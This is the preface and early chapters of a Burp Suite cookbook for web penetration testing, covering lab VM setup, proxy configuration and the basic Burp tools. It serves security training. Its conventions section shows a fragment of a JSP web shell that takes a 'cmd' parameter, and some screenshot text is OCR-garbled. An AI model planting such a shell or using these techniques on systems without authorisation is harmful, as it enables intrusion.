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Preface

Burp Suite is a Java-based platform for testing the security of your web applications and has been
adopted widely by professional enterprise testers.

The Open Web Application Security Project (OWASP) offers many resources to developers and
testers for securing web and API applications. This book leverages test cases from OWASP with slight
modifications for use in Burp Suite to give you hands-on practice. Toward the end of this book, more
advanced concepts are included, giving you recipes to be applied in bug bounty hunting, penetration
testing, and application security.

By the end of the book, you will be up and running with using Burp Suite to test the security posture
of your web applications and APIs.

Who this book is for

If you are a security professional, web pentester, or software developer who wants to adopt Burp Suite
for testing application and API security, this book is for you.

What this book covers

Chapter 1, Getting Started with Burp Suite, provides the setup instructions necessary to proceed
through the material of the book.

Chapter 2, Getting to Know the Burp Suite of Tools, begins by establishing the target scope and provides
overviews of the most commonly used tools within Burp Suite.

Chapter 3, Configuring, Crawling, Auditing, and Reporting with Burp, helps testers to calibrate Burp
Suite settings to be less abusive toward the target application.

Chapter 4, Assessing Authentication Schemes, covers the basics of authentication, including an explanation
that it is the act of verifying that a person or object’s claim is true.

Chapter 5, Assessing Authorization Checks, helps you understand the basics of authorization, including
an explanation that it how an application uses roles to determine user functions.

Chapter 6, Assessing Session Management Mechanisms, dives into the basics of session management,
including an explanation that it is how an application keeps track of user activity on a website.

Chapter 7, Assessing Business Logic, covers the basics of business logic testing, including an explanation
of some of the more common tests performed in this area.
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Chapter 8, Evaluating Input Validation Checks, delves into the basics of data validation testing, including
an explanation of some of the more common tests performed in this area.

Chapter 9, Attacking the Client, helps you understand how client-side testing is concerned with the
execution of code on the client, typically natively within a web browser or browser plugin. You’ll learn
how to use Burp Suite to test the execution of code on the client side to determine the presence of
Cross-Site Scripting (XSS). You'll also learn about using DOM Invader within the Burp Suite browser
to uncover DOM-based vulnerabilities.

Chapter 10, Working with Burp Suite Macros and Extensions, teaches you how Burp Suite macros
enable penetration testers to automate events such as logins or response parameter reads to overcome
potential error situations. You will also learn about extensions as additional functionality to Burp
Suite, especially a few choice ones for bug bounty hunting.

Chapter 11, Implementing Advanced Topic Attacks, provides a brief explanation of XXE as a vulnerability
class targeting applications that parse XML and SSRF as a vulnerability class allowing an attacker to
force applications to make unauthorized requests on the attacker’s behalf. You will also learn about
hacking GraphQL and JSON Web Tokens (JWTs) using Burp Suite.

To get the most out of this book

All the requirements are updated in the Technical requirements section for each of the chapters.

The following table is a list of software requirements. You will need the items in the table throughout
the book. The preliminary steps of each recipe will inform you what software is required.

Software/hardware covered in the book OS and other requirements

Oracle VirtualBox Windows, macOS, and Linux (any)

Mozilla Firefox browser OWASP Broken Web Applications (BWA) VM
7-Zip file archiver Burp Suite Community or Professional
Oracle Java PortSwigger account to access labs

Each recipe contains a setup stage called Getting ready, which provides links and instructions for the
required software prior to performing the individual steps.

Conventions used

There are a number of text conventions used throughout this book.

Code in text:Indicates code words in text, database table names, folder names, filenames, file
extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "Allow
the attack to continue until you reach payload 50”
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A block of code is set as follows:

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter ("cmd") != null) {
out.println ("Webshell cmd: " + request.getParameter ("cmd")

Any command-line input or output is written as follows:

C:\Burp Jar Files>java -jar
burpsuite pro v2023.4.3.jar

Bold: Indicates a new term, an important word, or words that you see onscreen. For example, words
in menus or dialog boxes appear in the text like this. Here is an example: “Select a tool from the drop-
down listing and click the Lookup Tool button.”

Tips or important notes

Appear like this.

Sections

In this book, you will find several headings that appear frequently (Getting ready, How to do it..., How
it works..., There’s more..., and See also).

To give clear instructions on how to complete a recipe, use these sections as follows:

Getting ready

This section tells you what to expect in the recipe and describes how to set up any software or any
preliminary settings required for the recipe.
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How to do it...

This section contains the steps required to follow the recipe.

How it works...

This section usually consists of a detailed explanation of what happened in the previous section.

There’s more...

This section consists of additional information about the recipe in order to make you more knowledgeable
about the recipe.

See also

This section provides helpful links to other useful information for the recipe.

Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention the book title in the
subject of your message and email us at customercare@packtpub. com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen.
If you have found a mistake in this book, we would be grateful if you would report this to us. Please
visit www . packtpub . com/support/errata, selecting your book, clicking on the Errata
Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we would
be grateful if you would provide us with the location address or website name. Please contact us at
copyrighte@packt . com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in and you
are interested in either writing or contributing to a book, please visit authors.packtpub.com


mailto:customercare@packtpub.com
http://www.packtpub.com/support/errata
mailto:copyright@packt.com
http://authors.packtpub.com
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Share your thoughts

Once you've read Burp Suite Cookbook - Second Edition, wed love to hear your thoughts! Please click
here to go straight to the Amazon review page for this book and share your feedback.

Your review is important to us and the tech community and will help us make sure we’re delivering

excellent quality content.


https://packt.link/r/183508107X
https://packt.link/r/183508107X
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1
Getting Started with Burp Suite

This chapter provides the setup instructions necessary to proceed through the material in this book.
Starting with downloading Burp, the details include the two main Burp editions available and their
distinguishing characteristics.

To use Burp Suite, a penetration tester requires a target application. This chapter includes instructions
on downloading and installing OWASP applications contained within a Virtual Machine (VM). Such
applications will be used throughout this book as targeted vulnerable web applications.

This chapter includes instructions to configure the Burp Suite Proxy listener. This listener is required
to capture all HTTP traffic flowing between your local browser and the target website. Default settings
for the listener include an Internet Protocol (IP) address, 127.0.0.1, and a port number, 8080.

Finally, this chapter will conclude with the options for starting Burp Suite. This includes how to start
Burp Suite at the command line, with an optional headless mode, and using the executable.

In this chapter, we will cover the following recipes:

o Downloading Burp Suite (Community and Professional editions)
o Setting up a web app pentesting lab

o Creating a PortSwigger account to access Web Security Academy
o Starting Burp Suite at a command line or as an executable

o Listening for HTTP traffic using Burp
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Downloading Burp Suite (Community and Professional
editions)

The first step in learning the techniques contained within this book is to download the Burp Suite
application. The download page is available here: https://portswigger.net/burp/. You
will need to decide which edition of Burp Suite you would like to download from the following:

o Professional
o Community

o Enterprise (not covered): This product is designed for large companies to run Burp Scanner
across thousands of targets

o Dastardly (not covered): This edition only provides Burp Scanner capabilities and is specifically
designed to integrate with Jenkins and other CI tools as jobs within a DevOps pipeline

What is now termed Community was once labeled Free Edition. You may see both referenced on the
internet, but they are the same. At the time of writing, the Professional edition costs $449.

To help you make your decision, let's compare the two. The Community version offers many of the
functions used in this book, but not all. For example, the Community version does not include any
scanning functionality. In addition, the Community version contains some forced throttling of threads
when using the Burp Suite Intruder functionality. There are no built-in payloads in the Community
version, though you can load custom ones. And, finally, several Burp Suite extensions that require
the Professional edition will, obviously, not work in the Community edition.

The Professional version has all the functionality enabled, including passive and active scanners. There
is no forced throttling. PortSwigger (that is, the name of the company that writes and maintains Burp
Suite) provides several built-in payloads for fuzzing and brute-forcing. Burp Suite extensions that use
scanner-related API calls work in the Professional version as well.

In this book, we will be using the Professional version, which provides access to an extensive array
of functionality compared to the Community edition. However, when a feature is used in this book
that’s specific to the Professional edition, a special icon will indicate this:

Figure 1.1 — Burp Suite Professional icon


https://portswigger.net/burp/

Downloading Burp Suite (Community and Professional editions)

Getting ready

To begin our adventure together, go to https: //portswigger.net/burp and download the
edition of Burp Suite you wish to use. The page provides a slider, as shown here, which highlights the
features of Professional and Community, allowing you to compare them:

Select edition to view features:

O

Professional

Figure 1.2 - Burp Suite Professional versus Community features

You may wish to choose the Community edition to gain familiarity with the product before purchasing
the Professional version.

Should you choose to purchase or use the trial version of the Professional edition, you will need to
complete forms or payments and subsequent email confirmations will be sent to you. Once your
account is created, you may log in and perform the download from the links provided in our account.

Software tool requirements
To complete this recipe, you will need the following:

e Oracle Java (https://www.oracle.com/java/technologies/downloads/)
o Burp Proxy Community or Professional (https://portswigger.net/burp/)

¢ Mozilla Firefox browser (https://www.mozilla.org/en-US/firefox/new/)

How to do it...

After deciding on the edition you need, you have two installation options, including an executable or
a plain JAR file. The executable is only available in Windows and is offered in both 32-bit and 64-bit
versions. The plain JAR file is available for Windows, macOS, and Linux. You can find all the available
download options here: https://portswigger.net/burp/releases/professional-
community-2023-4-5?requestededition=community&requestedplatform=.

The Windows executable is self-contained and will create icons in your program listing. However,
the plain JAR file requires your platform to have Java (https://www.oracle.com/java/
technologies/downloads/) pre-installed. You may choose the current version of Java (JRE
or JDK), so feel free to choose the latest version:


https://portswigger.net/burp
https://www.oracle.com/java/technologies/downloads/
https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/
https://portswigger.net/burp/releases/professional-community-2023-4-5?requestededition=community&requestedplatform=
https://portswigger.net/burp/releases/professional-community-2023-4-5?requestededition=community&requestedplatform=
https://www.oracle.com/java/technologies/downloads/
https://www.oracle.com/java/technologies/downloads/
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Burp Suite Community Edition | | Windows (64-bit v

Linux (64-bit)
Linux (ARM64)
This release introduces improvemen| MacOS (ARM/M1) |ner, ARM64 support for Linux, and a

MacOS (Intel)
bug fixes. Windows (64-bit)

Burp Suite Professional v Windows (64-bit) v

Burp Scanner Update

JAR

Linux (64-bit)

This release introduces improvemen| Linux (ARM64) |ner, ARM64 support for Linux, and a
MacOS (ARM/M1)

bug fixes. MacOS (Intel)

Windows (64-bit)

Figure 1.3 — PortSwigger’s Downloads page

Setting up a web app pentesting lab

The Broken Web Application (BWA) is an OWASP project that provides a self-contained VM
complete with a variety of applications with known vulnerabilities. The applications within this VM
enable students to learn about web application security, practice and observe web attacks, and make
use of penetration tools such as Burp Suite.

To follow the recipes shown in this book, we will utilize OWASP’s BWA VM. At the time of writing
this book, the OWASP BWA VM can be downloaded from https://sourceforge.net/
projects/owaspbwa/files/.

Getting ready

We will download the OWASP BWA VM along with supportive tools to create our web app pentesting lab.
Software tool requirements

To complete this recipe, you will need the following:

e Oracle VirtualBox (https://www.virtualbox.org/wiki/Downloads): Choose an
executable specific to your platform

o Mozilla Firefox browser (https://www.mozilla.org/en-US/firefox/new/)

o 7-Zip file archiver (https://www.7-zip.org/download.html)

e OWASPBWA VM (https://sourceforge.net/projects/owaspbwa/files/)
o Burp Proxy Community or Professional (https://portswigger.net/burp/)

e OracleJava (https://www.oracle.com/java/technologies/downloads/)


https://sourceforge.net/projects/owaspbwa/files/
https://sourceforge.net/projects/owaspbwa/files/
https://www.virtualbox.org/wiki/Downloads
https://www.mozilla.org/en-US/firefox/new/
https://www.7-zip.org/download.html
https://sourceforge.net/projects/owaspbwa/files/
https://portswigger.net/burp/
https://www.oracle.com/java/technologies/downloads/
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How to do it...

For this recipe, you will need to download the OWASP BWA VM and install it by performing the
following steps:

1. Click Download Latest Version after clicking the OWASP BWA VM link provided earlier and
unzip the OWASP_Broken Web Apps VM 1.2.7zfile.

2. You will be presented with a listing of several files, as follows:

@' owaspbwa-release-notes.txt

&) OWASP Broken Web Apps-cl1.vmdk

&) OWASP Broken Web Apps-cl1-s001.vmdk
&) OWASP Broken Web Apps-cl1-s002.vmdk
&) OWASP Broken Web Apps-cl1-s003.vmdk
i@ OWASP Broken Web Apps-cl1-s004.vmdk
i@ OWASP Broken Web Apps-cl1-s005.vmdk
D OWASP Broken Web Apps.vmsd

D OWASP Broken Web Apps.vmxf

ﬁ OWASP Broken Web Apps.vmx

D OWASP Broken Web Apps.nvram

Figure 1.4 - File listing after unzipping OWASP_Broken_Web_Apps_VM_1.2.7z

3. All file extensions shown indicate that the VM can be imported into Oracle VirtualBox or
VMware Player/Workstation. To set up the web application pentesting lab for this book, we
will use Oracle VirtualBox.

4. Make a note of the ONASP Broken Web Apps-cll.vmdk file. Open VirtualBox Manager
(that is, the Oracle VM VirtualBox program).

5. Within the VirtualBox Manager screen, select Machine | New from the top menu and type a
name for the machine - for example, ONASP BWA.
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6. Set Type to Linux and Version to Ubuntu (64-bit), and then click Next, as follows:

Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine and
select the type of operating system you intend to install on it. The
name you choose will be used throughout VirtualBox to identify this

machine.

Name: |OWASP BWA |
Type: Linux - @.
Version: |Ubuntu (64-bit) - ,

Expert Mode Next Cancel

Figure 1.5 - Create Virtual Machine

7. 'The next screen allows you to adjust the RAM or leave it as-is. Click Next.
8. On the next screen, choose Use an existing virtual hard disk file.

9. Use the folder icon on the right to select the ONASP Broken Web Apps-cll.vmdk file
from the extracted list and click Create, as follows:

€ Create Virtual Machine

Hard disk

If you wish you can add a virtual hard disk to the new machine.
You can either create a new hard disk file or select one from the
list or from another location using the folder icon.

If you need a more complex storage set-up you can skip this step
and make the changes to the machine settings once the machine is
created.

The recommended size of the hard disk is 10.00 GB.
(O Do not add a virtual hard disk

(O Create a virtual hard disk now

(® Use an existing virtual hard disk file

OWASP Broken Web Apps-cll.vmdk (Normal, 8.00 GB) - @

Figure 1.6 — Hard disk allocation
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10. Your VM will have been loaded into VirtualBox Manager. Let’s make some minor adjustments.
Highlight the OWASP BWA entry and select Settings from the top menu.

11. Select the Network section in the left-hand pane and change Attached to: to Host-only
Adapter. Click OK:

{&) OWASP BWA - Settings ? X

General Network

System Adapter 1 Adapter 2 Adapter 3 Adapter 4

Enable Network Adapter

Display
Attached to: |Host-only Adapter ~

St
orage Name: |VirtuaIBox Host-Only Ethernet Adapter -~

Audio > Advanced

Network

Serial Ports
UsB

Shared Folders

User Interface

Bh% SeNYE[EEN

| OK | ‘ Cancel

Figure 1.7 — Network adapter settings

12. Now, let’s start the VM. Right-click and then choose Start | Normal Start:

B, & OWASP BWA
@ Powered Off

Settings... Ctrl+S
@ Clone... Ctrl+O

?X Remove.. Ctrl+R
@ Group Ctrl+U Video Memory:
Remote Desktop Se

> Start > &> Normal Start |

. Display

Figure 1.8 — Starting the VM
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13. Wait until the Linux system is fully booted, which may take a few minutes. After the booting
process is complete, you should see the following screen. Note that the IP address shown will
be different for your machine:

B, .
e OVWASE BWA TRinRinAl - O —
VYA -..C:J r B LA L N -1 .‘I .‘I (;' | BT D

elcome to the OWASP Broken Web Apps UM

ttt This UM has many serious security issues. We strongly recommend that you ru

it only on the "host only" or "MAT" network in the UM settings t1?
ou can access the web apps at http:- -192.168.56.101.~

ow can administer ~ configure this machine through the console here, by SSHing
o 192.168.56.101, via Samba at “\192.168.56.101%, or via phpmnyadmin at

http:~~192.168.56.101phpnyadmin.

In all these cases, you can use usermame "'root" and password “owaspbua.

UASP Broken Web Applications VUM Version 1.2
og in with username = root and password = owaspbuwa

puaspbwa login:

b o Ll P (T S (¥ Right Crrl

Figure 1.9 — Your assigned IP address for the VM

14. The information presented on this screen identifies the URL where you can access vulnerable
web applications running on the VM. For example, in the previous screenshot, the URL is
http://192.168.56.101/. You will be given a prompt to administer the VM, but it is
not necessary to log in at this time.

15. Open the Firefox browser on your host system, not in the VM. Using the Firefox browser on
your host machine, enter the URL provided (for example, http://192.168.56.101/),
where the IP address is specific to your machine.

16. In your browser, you will be presented with an index page containing links to vulnerable web
applications. These applications will be used as targets throughout this book:
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owaspbwa

OWASP Broken Web Applications Project

)

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very
vulnerable web applications, which are listed below. More information about this project can be found in the project User Guide and Home

Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwal/tickets/?limit=999&
sort=_severity+asc.

@ ! This VM has many serious security issues. We strongly recommend that you run it only
on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

© owASP WebGoat © 0WASP WebGoat NET
© OWASP ESAPI Java SwingSet Interactive © owasp Mutillidae 11
© OWASP RailsGoat ©owaSP Bricks

© 0WASP Security Shepherd ©Ghost

@mgical Code Injection Rainbow @M

@Damn Vulnerable Web Application

Figure 1.10 - Splash page of the VM

How it works...

Leveraging a customized VM created by OWASP, we can quickly set up a web app pentesting lab
containing purposefully vulnerable applications that we can use as legal targets for our exercises
throughout this book.

Creating a PortSwigger account to access Web Security
Academy

In this edition, we've added more web security-related labs to enrich your experience with Burp Suite.
To follow along and complete these labs, you must register an account with PortSwigger.
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PortSwigger provides free, online web security training through Web Security Academy (https://
portswigger.net/web-security). Academy consists of learning materials, hands-on labs, and
practice exams. We will use some of these labs to demonstrate hacking techniques within this book.

Getting ready

Browse to the PortSwigger site (https: //portswigger.net/) and look for the LOGIN button.
Click the LOGIN button to navigate to the login page, which has a registration button:

portswigger.net

&4 PortSwigger

Products ~ | Solutions « | Research Academy |Supp0rt v | =

Figure 1.11 - PortSwigger LOGIN button

How to do it...
Follow these steps:

1. Gotohttps://portswigger.net/users and select the Create account button at the
bottom, next to the Log In button:

E1 PortSwigger

Products v | Solutions + | Research | Academy | Support v | =

Login

Please enter your email address and password to log in.

Email address

Password

Forgot your password?

@ Remember me on this computer

Figure 1.12 - The Create account button



https://portswigger.net/web-security
https://portswigger.net/web-security
https://portswigger.net/
https://portswigger.net/users
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2. You must provide a valid email address to receive your password for logging into the site:

E2 PortSwigger

Products ~ | Solutions v Research Academy |Supp0rt v ‘ =

Create your account

Please enter your email address to register.

Email address

Already registered? Click here to log in.
Figure 1.13 - PortSwigger account creation page

You should receive the password for the account within a short amount of time.

Starting Burp Suite at a command line or as an executable

For non-Windows users or those Windows users who chose the plain JAR file option, you will start
Burp at a command line each time you wish to run it. As such, you will require a particular Java
command to do so.

In some circumstances, such as automated scripting, you may wish to invoke Burp at the command
line as a line item in your shell script. Additionally, you may wish to run Burp without a Graphical
User Interface (GUI), referred to as headless mode. This recipe describes how to perform these tasks.

How to do it...
We will review the commands and actions required to start the Burp Suite product:

o After running the installer from the downloaded . exe file, start Burp in Windows by double-
clicking the icon on your desktop or selecting it from the programs listing:

11
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B Burp Suite Professional

4, Burp Suite Professional

Burp Suite Professional Uninstaller

Figure 1.14 - Burp Suite menu items after installation

When using the plain JAR file, the java executable is followed by the option of - jar, followed

by the name of the download JAR file.

Start Burp at the command line (minimal) with the plain JAR file (Java must be installed first):
C:\Burp Jar Files>java -jar burpsuite pro v2023.4.3.jar

If you wish to have more control over the heap size settings (that is, the amount of memory

allocated for the program), you may modify the java command.

The java executable is followed by - jar, followed by the memory allocation. In this case, 2

GB (that is, 2g) is allocated for read access memory (RAM), followed by the name of the JAR

file. If you receive an error to the effect that you cannot allocate that much memory, just drop

the amount down to something like 1,024 MB (that is, 1024m) instead.

Start Burp at the command line (optimize) with the plain JAR file (Java must be installed first):
C:\Burp Jar Files>java -jar -Xmx2g burpsuite pro v2023.4.3.jar

It is possible to start Burp Suite from the command line and run it in headless mode. Headless
mode means running Burp without the GUL

Note

For this book, we will not be running Burp in headless mode since we are learning through the
GUI. However, you may require this information in the future, which is why it is presented here.

Start Burp Suite from the command line so that it can be run in headless mode with the plain
JAR file (Java must be installed first):

C:\Burp Jar Files>java -jar -Djava.awt.headless=true burpsuite
pro v2023.4.3.jar

Note the placement of the -Djava.awt . headless=true parameter immediately following
the -jar option and before the name of the JAR file.

If successful, you should see the following:

proxy: Proxy service started on 127.0.0.1:8080

Press Ctrl + C or Ctrl + Z to stop the process.
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It is possible to provide a configuration file to the headless mode command so that you can
customize the port number and IP address where the proxy listener is located.

Note

Please consult PortSwigger’s support pages for more information on this topic: https://
support.portswigger.net/customer/portal/questions/16805563-
burp-command-line.

In each startup scenario described, you should be presented with a splash screen:

1. The splash screen label will match whichever edition you decided to download, either Professional
or Community:

BurpSuite

Professional

-
& =

= new URIBuflder(uri)
F D9
? . \ Ao cum

YsetScheme (backendURL.getScheme/())
.build(); e

Figure 1.15 — Burp Suite splash screen

2. You may be prompted to update the version; feel free to do this, if you like. New features are
constantly added to Burp to help you find vulnerabilities, so upgrading the application is a
good idea. Choose Update Now, if applicable.

13
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3. Next, you will be presented with a dialog box asking about project files and configurations:

{®) Temporary project
i) New project on disk

o Open existing project
Figure 1.16 — Project options upon startup

4. Ifyou are using the Community edition, you will only be able to create a temporary project. If
you are using the Professional edition, create a new project on disk, saving it in an appropriate
location so that you can find it. Click Next.

5. The subsequent splash screen will ask you about the configurations you would like to use. At
this point, we don’t have any yet, so choose Use Burp defaults. As you progress through this
book, you may wish to save configuration settings and load them from this splash screen in
the future, as follows:

Burp Suite Professional v2023.4.3 - licensed to Sunny Wear [single user license] - a b4

@ Select the configuration that you would like to load for this project. B u np Su ite

Professional

(®) Use Burp defaults

Use settings saved with projects

Load from configuration file File

File: Choose file...

Default to the above in future

Disable extensions

Cancel Back

Figure 1.17 - Configuration options upon startup

6. Finally, we are ready to click Start Burp.
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How it works...

Using either the plain JAR file or the Windows executable, you can launch Burp to start the proxy
listener to capture HTTP traffic. Burp offers temporary or permanent project files so that you can
save activities performed in the suite.

Listening for HTTP traffic using Burp

Burp is described as an intercepting proxy. This means Burp sits between the user’s web browser and
the application’s web server and intercepts or captures all the traffic flowing between them. This type
of behavior is commonly referred to as a proxy service.

Penetration testers use intercepting proxies to capture traffic flowing between a web browser and a
web application for analysis and manipulation. For example, a tester can pause any HT'TP request,
thus allowing parameter tampering before the request is sent to the web server.

Intercepting proxies, such as Burp, allow testers to intercept both HTTP requests and HT'TP responses.
This allows a tester to observe the behavior of the web application under different conditions. And, as we
shall see, sometimes the behaviors are unintended, deviating from what the original developer expected.

To see Burp Suite in action, you need to configure your Firefox browser’s Network Settings so that
they point to your running instance of Burp. This enables Burp to capture all HT'TP traffic that is
flowing between your browser and the target web application.

Getting ready

We will configure the Firefox browser to allow Burp to listen to all HT TP traffic flowing between the
browser and the OWASP BWA VM. This will allow the proxy service within Burp to capture traffic
for testing purposes.

Instructions for this are available on PortSwigger at ht tps: //support .portswigger.net/
customer/portal/articles/1783066-configuring-firefox-to-work-with-
burp. We will step through this process in this recipe.

How to do it...
Follow these steps to start listening to all HT TP traffic using Burp:

1. Open the Firefox browser and go to Options.
2. In the General tab, scroll down to the Network Proxy section and then click Settings.

3. In the Connection Settings window, select Manual proxy configuration and type in an IP
address of 127.0.0 .1 with the port set to 8080. Select the Use this proxy server for all
protocols checkbox.
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Make sure the No proxy for text box is blank, as shown in the following screenshot, and then
click OK:

Connection Settings

Configure Proxy Access to the Internet
No proxy
O Auto-detect proxy settings for this network

Use system proxy settings

® Manual proxy configuration
HTTP Proxy 127.0.0.1 Port 8080

v | Use this proxy server for all protocols

SSL Proxy 127.0.0.1 Port 8080
ETP Proxy 127.0.0.1 Port 8080
SOCKS Host  127.0.0.1 Port 8080

SOCKSv4 ® SOCKS v5

No Proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL
oK Cancel Help

Figure 1.18 — Manually configuring the Firefox browser to send HTTP traffic to Burp

4. With the OWASP BWA VM running in the background and using Firefox to browse to the
URL specific to your machine (that is, the IP address shown on the Linux VM in VirtualBox),
click the reload button (the arrow in a circle) to see the traffic captured in Burp.

5. Ifyou don’t happen to see any traffic, check whether Proxy | Intercept is holding up the request.
If the button labeled Intercept is on is depressed, as shown in the following screenshot, then
click the button again to disable the interception. After doing so, the traffic should flow freely
into Burp, as follows:



Listening for HTTP traffic using Burp

n Burp Project Intruder Repeater Window Help Burp Suite Professional v2
Dashboard Target Intruder Repeater Collaborator Sequencer
m HTTP history WebSockets history @ Proxy settings
Forward Drop . ntercept is on Action Open browser

Figure 1.19 - By default, Intercept is on

In the following screenshot, the Proxy | Intercept button is disabled:

n Burp Project |Intruder Repeater Window Help Burp Suite Professional v20
Dashboard Target Intruder Repeater Collaborator Sequencer

HTTP history WebSockets history @ Proxy settings

Forward Drop | Intercept is off l Action Open browser

Figure 1.20 — Turning Intercept off to see traffic

6. If everything is working properly, you will see traffic in your Target | Site map tab, similar to
what is shown in the following screenshot. Your IP address will be different, of course, and you
may have more items shown within your Site map area. Congratulations! You now have Burp
listening to all of your browser traffic!

17
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ﬂ Burp Project Intruder Repeater Windo
Dashboard Proxy Intruder
Issue definitions {5} Scope se
Filter: Hiding not found items; hiding CSS5, image an

v @ http://192.168.29.128

[/

> B AppSensorDemo

» 0 ESAPI-Java-5wingSet-Interactive
[ mcr
0 OWASP-CSRFGuard-Test-Application.html
D WackoPicko

> [ WebGoat
] animatedcollapse.js

Figure 1.21 - Confirmation of HTTP traffic flowing into Burp

How it works...

The Burp Proxy service is listening on 127.0.0. 1 at port 8080. Either of these settings can be
changed so that you can listen on an alternative IP address or port number. However, for learning
purposes, we will use the default settings.

There’s more...

As a simpler alternative, you can use the browser built into Burp. To access this, go to Proxy from the
top menu, choose the Intercept sub-menu, and then click the Open browser button:

n Burp Project Intruder Repeater Window Help Burp Suite Professional v202

Repeater Collaborator Sequencer
{5} Proxy settings

| Intercept is off | | Open browser |

Figure 1.22 — Using Burp’s built-in browser instead of using an external browser (for example, Firefox)
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Getting to Know

the Burp Suite of Tools

This chapter provides overviews of the most commonly used tools within Burp Suite. The chapter
begins by establishing the target scope within the Target | Site map. This is followed by an introduction
to the message editor. Then, there will be some hands-on recipes using OWASP Mutillidae II to get
acquainted with Proxy, Repeater, Decoder, and Intruder.

In this chapter, we will cover the following recipes:

o Setting the Target Site Map

o Understanding the message editor
o Repeating with Repeater

o Decoding with Decoder

o Intruding with Intruder

Technical requirements
To complete the recipes in this chapter, you will need the following:

o Burp Proxy Community or Professional (https://portswigger.net/burp/)

o The Firefox browser configured to allow Burp to proxy traffic (https://www.mozilla.
org/en-US/firefox/new/)
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Setting the Target Site Map

Now that we have traffic flowing between your browser, Burp, and the OWASP Broken Web Applications
(BWA) virtual machine (VM), we can begin setting the scope of our test. For this recipe, we will use the
OWASP Mutillidae IT link (http://<Your VM Assigned IP Address>/mutillidae/)
available in the OWASP BWA VM as our target application.

Looking more closely at the Target tab, you will notice there are two subtabs available: Site map and
Scope. From the initial proxy setup between your browser, Burp, and the web server, you should now
have some URLSs, folders, and files shown in the Target | Site map tabs. You may find the amount of
information overwhelming, but setting the scope for our project will help to focus our attention better.

Getting ready

Using the Target | Site map and Target | Scope tabs, we will assign the URL for Mutillidae
(http://<Your VM Assigned IP Address>/mutillidae/) asthe scope.

How to do it...
Execute the following steps to set the Target Site Map:

1. Search for the mutillidae folder and then right-click on it, and select Add to scope from
the drop-down list:

Burp Project Intruder Repeater Window H

Dashboard Target Proxy Intruder Rep

Extensions Learn
Site map Issue definitions {6} Scope settings

Filter: Hiding not found items; hiding CSS, image and gene

v [ ig http://192.168.29.128 c
[ /
[ mutillidae
v 5 mutillidae . htt

> @/ | [H https/192.168.29.128/mutillidae

B
[ fran

Figure 2.1 - Setting the scope for the target application
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Upon adding the mutillidae folder to your scope, you may be presented with a Proxy
history logging dialog box, as follows. You may choose to avoid collecting messages out of
your scope by clicking Yes, or you may choose to continue to have the Proxy HTTP History
tab collect any messages passing through Burp, even if those messages fall outside the scope
you've identified. For our purposes, we will select Yes:

Proxy history logging X

@ You have added an item to Target scope. Do you want Burp Proxy to stop
sending out-of-scope items to the history or other Burp tools?

Answering "yes" will aveid accumulating project data for out-of-scope
items.

Always take the same action in future Yes No

Figure 2.2 — Proxy history prompt

Clicking the Target | Scope settings tabs, after the pop-out menu displays, you should now
see the following:

Burp Project |Intruder Repeater Window Help EBurp

Dashboard Target Proxy Intruder Repeater
Logger Extensions
Site map Issue definitions @ Scope settings

Figure 2.3 - Clicking the Scope settings to have a pop-out display appear

The full URL for OWASP Mutillidae II is shown in the Include in scope table of Project |
Scope, as follows:
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Settings
Search e Project >| Scope
User Project T =
m - - - @ Target scope
- oo @ Use these settings tofdefine exactly what hosts and URLs constitute
Proxy Use advanced sco
Intruder .
Include in scope
Repeater
Add Enabled P
Sequencer
Edit
Burp's browser
) Remove
v Project
Paste URL
Sénpe aste
Collaborator Lt .

Tasks

Figure 2.4 - Pop-out display showing scope set to target application

How it works...

Setting scope is important for a clearer understanding of traffic flow through Burp from your target.
Once properly scoped, all HT'TP traffic can be seen in your Target | Site map and Burp’s Proxy | HTTP
history tabs. Details within individual requests and responses can be viewed using the message editor.

Understanding the message editor

On almost every tool and tab within Burp Suite that displays an HT'TP message, you will see an editor

identifying the request and response. This is commonly referred to as the message editor. The message
editor allows viewing and editing HT'TP requests and responses with specialties.

Within the message editor are multiple subtabs. The subtabs for a request message, at a minimum,

include the following:

o Pretty
¢ Raw

¢ Hex



Understanding the message editor

The subtabs for a response message include the following:

o Pretty: The Pretty subtab gives you the same information as Raw but in a more readable format.
Please note the Pretty subtab may be disabled. This is due to the supported formats. For the
Pretty subtab to be enabled, the message must be in one of the following formats:

JSON

XML (including image/SVG + XML content)
HTML

CsS

JavaScript

o Raw: The Raw subtab gives you the message in its raw HTTP form.

o Hex: The Hex subtab, which presents the message in hexadecimal format; it is, in essence, a hex
editor. You are permitted to edit individual bytes within tools such as Proxy and Repeater, but
those values must be given in two-digit hexadecimal form, from 00 through FF.

o Render (sometimes): Finally, the Render subtab can be grayed out or viewable depending on
the HTTP response content type. This subtab is only enabled when the response returned is
HTML, giving you the same view as if seen from a browser.

Getting ready

Let’s explore the multiple tabs available in the message editor for each request and response captured
in Burp. An important distinction to note—messages inside the message editor from the Target | Site
map and the Proxy | HTTP History tabs are not editable. Both of these areas preserve the state of traffic
flowing through Burp. If you wish to edit any message, you must send the individual message to some
other tool within Burp—such as Repeater, Intruder, and so on—where you are able to edit values.

How to do it...
Ensure you have traffic flowing between your browser, Burp, and the OWASP BWA VM.

1. Looking at the Target | Site map tab, notice the message editor section. Let’s focus on the
Request side of the message first:
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Request | Response

Pretty Raw Hex a n =

GET /mutillidae/ HTTP/1.1

Host: 1582.166.29.12B

Cookie: showhints=1; PHPSESSID=45q7g4%jsém3oelnshiiarvlé
; acopendivids=swingset,jotto,phpbbZ, redmine;
acgroupswvithpersist=nada

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4)

[T

LA ok

ol

Figure 2.5 — Message editor viewing a request

When viewing a request, note that the subtabs available include Pretty, Raw, and Hex. To see
other values, such as cookies, attributes, and parameters, use the Inspector side tab. The Inspector
